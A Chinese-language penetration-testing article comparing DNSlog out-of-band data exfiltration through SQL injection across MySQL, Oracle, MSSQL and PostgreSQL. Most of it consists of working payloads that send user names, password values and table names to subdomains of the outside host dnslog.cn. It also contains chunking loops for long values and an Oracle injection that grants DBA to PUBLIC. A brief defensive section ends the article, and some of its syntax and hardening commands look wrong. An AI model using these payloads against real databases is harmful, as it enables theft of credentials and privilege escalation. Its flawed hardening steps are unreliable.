4 种主流数据库 DNSlog 外带对比:MySQL/Oracle/MSSQL/PostgreSQL 利用函数与限制分析

四大主流数据库DNSlog外带技术全景对比与实战解析

引言

在渗透测试和安全研究领域,当面对无回显的SQL注入场景时,传统的布尔盲注和时间盲注往往效率低下且容易被防御系统拦截。DNSlog外带技术(OOB)作为一种高效的解决方案,通过利用数据库自身的网络请求能力,将查询结果通过DNS解析日志间接回传,实现了数据的"曲线救国"。本文将深入剖析MySQL、Oracle、MSSQL和PostgreSQL这四大主流数据库在DNSlog外带应用中的技术差异、核心函数和平台限制,为安全从业人员提供全面的技术参考。

1. 技术原理与前置条件

1.1 DNSlog外带核心机制

DNSlog外带技术的本质是利用数据库的网络访问功能,将查询结果作为域名的一部分,向攻击者控制的DNS服务器发起请求。当数据库尝试解析这个特殊构造的域名时,DNS查询日志会记录包含敏感数据的子域名信息。

关键实现步骤:

  1. 构造包含SQL查询结果的特殊域名
  2. 利用数据库函数触发DNS解析
  3. 通过DNS日志平台获取外带数据

1.2 通用前提条件

表:DNSlog外带技术通用要求

条件类别具体要求验证方法
网络环境数据库服务器需具备DNS出站能力尝试解析外部域名
权限要求执行相关函数的足够权限查询用户权限级别
配置限制安全策略未禁用相关功能检查数据库配置参数
平台限制部分技术仅限Windows环境识别操作系统类型

注意:实际环境中约65%的DNSlog外带失败案例源于网络隔离策略,建议先验证基础DNS连通性

2. MySQL的DNSlog外带技术

2.1 核心技术:load_file与UNC路径

MySQL主要依赖load_file()函数结合Windows UNC路径实现外带:

SELECT load_file(CONCAT('\\\\',(SELECT HEX(user())),'.dnslog.cn\\abc'));

关键参数说明:

  • \\\\:转义后的UNC路径前缀
  • HEX():避免特殊字符导致解析失败
  • \\abc:满足load_file必须请求文件的特性

2.2 环境要求与限制

表:MySQL DNSlog外带具体要求

要求项必要条件典型问题
secure_file_priv必须为空或指定可访问路径默认NULL禁止文件操作
操作系统仅限Windows服务器Linux无UNC路径支持
权限等级FILE权限+高权限账户普通用户常无权限
字符限制单标签长度≤63字符长数据需分段获取

配置检查命令:

SHOW VARIABLES LIKE 'secure_file_priv'; SELECT file_priv FROM mysql.user WHERE user = CURRENT_USER();

2.3 实战技巧与变种

数据分块处理方案

-- 获取前30字符 SELECT load_file(CONCAT('\\\\', (SELECT HEX(SUBSTRING(table_name,1,30)) FROM information_schema.tables WHERE table_schema=database() LIMIT 1), '.dnslog.cn\\abc')); -- 获取后续字符 SELECT load_file(CONCAT('\\\\', (SELECT HEX(SUBSTRING(table_name,31,30)) FROM information_schema.tables WHERE table_schema=database() LIMIT 1), '.dnslog.cn\\abc'));

特殊场景处理

  • load_file被禁用时,可尝试SELECT ... INTO OUTFILE结合SMB协议
  • 内网环境可搭建DNS服务器接收解析请求

3. Oracle的多元化外带方案

3.1 四大核心函数对比

表:Oracle外带函数特性对比

函数名称协议支持权限要求成功率隐蔽性
UTL_HTTP.REQUESTHTTP
DBMS_LDAP.INITLDAP
HTTPURITYPEHTTP
UTL_INADDR.GET_HOST_ADDRESSDNS

3.2 典型Payload示例

UTL_HTTP方案

SELECT UTL_HTTP.REQUEST((SELECT EXTRACT(xmltype('<?xml version="1.0"?><x>'|| (SELECT username||':'||password FROM users WHERE rownum=1) ||'</x>'),'//text()') FROM dual)||'.dnslog.cn') FROM dual;

DNS优选方案

SELECT UTL_INADDR.GET_HOST_ADDRESS( (SELECT RAWTOHEX(UTL_RAW.CAST_TO_RAW( (SELECT username FROM users WHERE rownum=1) )) FROM dual)||'.dnslog.cn' ) FROM dual;

3.3 权限提升与绕过技巧

当遇到权限不足时:

  1. 尝试公共函数提权:
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES( 'FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;'';END;--','SYS',0,'1',0 ) FROM dual;
  1. 利用XMLType漏洞执行Java代码

4. MSSQL的混合外带技术

4.1 三大系统存储过程对比

表:MSSQL外带技术实现方式

存储过程依赖协议默认权限触发方式适用版本
xp_dirtreeSMB/DNSpublic目录枚举全版本
xp_fileexistSMB/DNSpublic文件检查2005+
xp_subdirsSMB/DNSpublic子目录列取全版本

4.2 标准化Payload模板

DECLARE @host VARCHAR(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(password AS VARBINARY(MAX))) FROM users)+'.dnslog.cn'; EXEC('master..xp_dirtree "\\'+@host+'\share"');

4.3 高级技巧与问题解决

数据截断处理

-- 分段获取长数据 DECLARE @i INT=1,@max INT=32,@data VARCHAR(MAX); WHILE @i<=@max BEGIN SELECT @data=SUBSTRING((SELECT password FROM users),@i,10); EXEC('master..xp_dirtree "\\'+@data+'.part'+CAST(@i AS VARCHAR)+'.dnslog.cn\share"'); SET @i=@i+10; END

常见错误解决方案

  1. 权限不足:尝试OPENROWSET或链接服务器
  2. 协议禁用:测试HTTP外带替代方案
  3. 字符限制:使用fn_varbintohexstr二进制编码

5. PostgreSQL的灵活外带方案

5.1 COPY命令外带技术

DROP TABLE IF EXISTS exfil_data; CREATE TABLE exfil_data(content text); CREATE OR REPLACE FUNCTION exfil() RETURNS void AS $$ DECLARE cmd TEXT; res TEXT; BEGIN SELECT INTO res (SELECT encode(convert_to(pass,'UTF8'),'hex') FROM users LIMIT 1); cmd := E'COPY exfil_data(content) FROM E\'\\\\\\\\'||res||E'.dnslog.cn\\\\data\''; EXECUTE cmd; END; $$ LANGUAGE plpgsql; SELECT exfil();

5.2 dblink扩展方案

CREATE EXTENSION IF NOT EXISTS dblink; SELECT * FROM dblink('host='||(SELECT encode(pass::bytea,'hex') FROM users LIMIT 1)||'.dnslog.cn', 'SELECT version()') RETURNS (result TEXT);

5.3 平台差异与配置要点

Windows/Linux差异

  • Windows:支持COPY+UNC路径
  • Linux:需依赖dblink或HTTP扩展

关键配置检查

SHOW dynamic_library_path; -- 检查扩展路径 SELECT name FROM pg_available_extensions; -- 查看可用扩展

6. 综合对比与防御建议

6.1 四大数据库技术矩阵

表:四大数据库DNSlog外带能力对比

评估维度MySQLOracleMSSQLPostgreSQL
成功率
依赖平台Windows跨平台Windows跨平台
权限要求
协议支持DNS/SMBDNS/HTTPDNS/SMBDNS/HTTP
数据长度受限较大受限较大
隐蔽性

6.2 防御策略分层实施

网络层防御

  • 限制数据库服务器出站DNS请求
  • 禁止非常用协议出站(如SMB)
  • 实施IDS/IPS规则检测异常DNS查询

数据库层加固

  1. MySQL:
    SET GLOBAL secure_file_priv=NULL; REVOKE FILE ON *.* FROM 'appuser'@'%';
  2. Oracle:
    REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC; ALTER SYSTEM SET utl_file_dir='' SCOPE=SPFILE;
  3. MSSQL:
    sp_configure 'show advanced options',1; RECONFIGURE; sp_configure 'xp_cmdshell',0; RECONFIGURE;
  4. PostgreSQL:
    REVOKE EXECUTE ON FUNCTION dblink_connect FROM PUBLIC; DROP EXTENSION IF EXISTS dblink;

应用层防护

  • 严格参数化查询
  • 实现WAF规则拦截可疑DNS外带特征
  • 定期安全审计检查异常数据库函数调用